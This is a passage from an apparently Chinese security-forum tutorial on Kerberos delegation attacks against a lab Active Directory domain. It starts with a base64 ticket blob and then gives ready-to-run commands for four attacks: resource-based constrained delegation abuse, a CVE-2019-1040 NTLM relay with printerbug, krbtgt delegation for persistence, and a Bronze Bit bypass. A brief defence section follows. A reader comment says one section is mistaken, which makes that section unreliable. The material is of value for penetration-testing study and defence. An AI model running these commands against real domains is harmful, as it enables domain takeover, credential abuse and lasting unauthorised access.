pT8Rw9x/VMSbInvgfZV649Doh6OjbYPvct3WplSOo+U12Abec+Dog4zg4kLhBQ9zx6I5YGOh1zscS5A9ig0lzt8ZTa+H4vG3UGy7QcDsy624pUZ5GM2vXgyPVmVKBUrLmRFjPqJKd2xW2D5Vve9vF9QD8ZiGjJkjawI1xoo4OyeuRO1QBWWaR2U7zyWnj/NRW0MeCQEvw9ay6MlT5/yLNf6XQG+2z/n1zrLYkOxjH7LhL6qFjPDA9ECzF+bBs09ahifFruIxLC24EjZNCJ42rWZig6MyOppUmSdpDCoBrX0Dtwmw+3rPTCkzlUSpSQ2Axf4EdrA8mFtY370uJLlPgqqiRQPOeM5lxGFfgxeYwwYUab96CTgfo1qRIAHxIYqGZ3Qb0B6EOMzjGLeyvfK5p8Uv9DT1M3kQJnAgi5rlrlt8KmYiYAhgLa/okVKSxUIjfE8rgLucKrRTz1k2NevBR3o4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQ75YaW7Y0HIYQtAyZ4UavYaENGwtSRURURUFNLkxBQqITMBGgAwIBAaEKMAgbBkNQVDAxJKMHAwUAQOEAAKURGA8yMDIyMDUxODE1MDg0MFqmERgPMjAyMjA1MTkwMTA4NDBapxEYDzIwMjIwNTI1MTUwODQwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLcmVkdGVhbS5sYWI= # 访问 dir \\SERVER2012.redteam.lab\c$ ``` ![OHpjVs.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-ad55f6e670eb21ed90f9a0d98c77b2b4a63f1d84.png) 小技巧:Base64加密的票据转`.kirbi`文件 ```powershell [IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("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")) ``` 攻击思路2:已知Acount Operators组用户拿下主机 ------------------------------- > 权限提升 | 横向移动 在攻击思路1中,拿到控制加入域的用户后,可以获得其下加入的主机。而思路2中的Acount Operators组用户可以获得域内除域控的所有主机。 利用条件: 1. 获取到属于Acount Operators组的用户账户 2. 可以创建机器账户 Acount Operators组成员可以修改**域内任意主机**的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性 ### 1 查询Acount Operators组成员 ```shell adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member ``` ![OHCfht.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-5da81e33a200d075ff8ea5286a55ab637dbe362f.png) ### 2 创建机器账户 ```shell # 使用bloodyAD.py创建机器账户 python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd' ``` ### 3 设置委派属性 剩下部分基本上和思路1类似,如果使用ken用户则会报**拒绝访问**,使用mark用户则可以修改委派属性 ```shell # 使用PowerView工具查询机器账户SID powerpick Get-NetComputer CPT02 -Properties objectsid S-1-5-21-3309395417-4108617856-2168433834-1112 # 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性 powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带) powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity # 创建服务票据 python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20 # 导入票据 export KRB5CCNAME=/root/Desktop/administrator.ccache # 直接登录 python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass python3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass ``` 攻击思路3:结合HTLM Relay攻击拿下主机(CVE-2019-1040) --------------------------------------- > 权限提升 | 横向移动 绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击 利用条件: 1. 能创建机器账户 2. 目标开启打印机服务 ### 1 创建机器账户 ```shell python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd' ``` ### 2 监听认证请求 使用[ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)工具 ```shell # 进行监听 python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$ ``` ### 3 打印机漏洞执行强制认证 使用[printerbug](https://github.com/dirkjanm/krbrelayx)工具执行强制认证 ```shell # 利用打印机漏洞回连 python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77 ``` ![OHCIc8.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-d37f08d56a159c663298e436b55787d33f3a0648.png) ntlmrelayx上监听到认证数据 ![OHC51f.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-8ae45db0079ba6cf0ea95caf8de8e3ef039e8114.png) ### 4 申请服务票据 使用getST.py申请服务票据 ```shell # 制作服务票据 python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.20 ``` ### 5 使用服务票据 ```shell # 注入票据 export KRB5CCNAME=Administrator.ccache # 远程访问 python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass ``` ![OHC49P.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-07caeb202c77b783f5f75dbe21562e4a32758503.png) 攻击思路4:krbtgt用户的委派 ----------------- > 权限维持 在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的,类似与一个变种的黄金票据 利用条件: 1. 获取域控权限 设置委派属性 ```shell # 创建机器账户 python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd' # 设置krbtgt委派权限 | 查询 Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$ Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount ``` ![OHCWtI.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-c3cea74d7033449ed6f811994dba09942b1e98ce.png) 申请&使用票据 ```shell python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 export KRB5CCNAME=Administrator.ccache python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20 KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20 ``` ![OHP1UA.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-93dd0cfc95cc69a2065fe641f2b4fc856b4d4660.png) 0x05 委派攻击防范措施及绕过手段 ================== 防范措施 ---- - 对于高权限用户,设置为`敏感用户,不能被委派` - 若要设置委派,不设置非约束性委派而是设置约束性委派 - 可以将敏感用户添加至`Protected User`组中,该组用户不允许被委派 绕过原理 ---- 对域委派安全功能绕过主要是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于服务可以解密自身的票据并且forwardable值不在PAC中,在使用时,forwardable值不受到检查,进而实现绕过目的 详细分析参考: [CVE-2020-17049 Kerberos Bronze Bit攻击深入分析](https://www.freebuf.com/vuls/258430.html) 利用手段 ---- 在getST中加上`-force-forwardable`参数 ```shell python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable ``` ![OHP34I.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-e9c6ea531f4e6251489fea4aa2186043c4f9df79.png) 进一步的防范措施 -------- 打上微软补丁程序,编号为`KB4598347` 1. 使用服务密钥(PAC\_SERVER\_CHECKSUM)签名 2. 使用KDC密钥(PAC\_PRIVSVR\_CHECKSUM)签名 在之后的S4U2Proxy阶段,KDC会验证PAC的三个签名,三个签名全都验证通过,KDC才会返回服务票据。否则,KDC将返回KRB\_AP\_ERR\_MODIFIED消息。 0x06 参考 ======= [漏洞银行丨高级攻防下的内网渗透—委派攻击详解-谢公子丨咖面117期\_哔哩哔哩\_bilibili](https://www.bilibili.com/video/BV1564y1Y7HF?spm_id_from=333.337.search-card.all.click) [浅入深出域委派攻击](https://whoamianony.top/domain-delegation-attack/) [kerberos域委派攻击学习](https://shu1l.github.io/2020/08/05/kerberos-yu-wei-pai-gong-ji-xue-xi/#3-%E5%B7%B2%E8%8E%B7%E5%8F%96%E9%85%8D%E7%BD%AE%E4%BA%86%E7%BA%A6%E6%9D%9F%E6%80%A7%E5%A7%94%E6%B4%BE%E7%9A%84%E6%9C%8D%E5%8A%A1%E8%B4%A6%E5%8F%B7%E7%9A%84%E5%8F%A3%E4%BB%A4-NTLM) [域渗透之委派攻击详解(非约束委派/约束委派/资源委派)](http://www.ctfiot.com/4160.html) [Unconstrained Delegation – Penetration Testing Lab (pentestlab.blog)](https://pentestlab.blog/2022/03/21/unconstrained-delegation/) [Resource Based Constrained Delegation – Penetration Testing Lab (pentestlab.blog)](https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/)
发表于 2022-05-27 09:42:27
阅读 ( 16908 )
分类:
渗透测试
7 推荐
收藏
1 条评论
xigua
2024-08-08 20:17
[+] 如下部分存在错误,在非约束委派下无法利用,这部分应是约束委派下的利用 0x02 非约束委派攻击 攻击思路1:构造服务账户票据
请先
登录
后评论
请先
登录
后评论
xigua
26 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!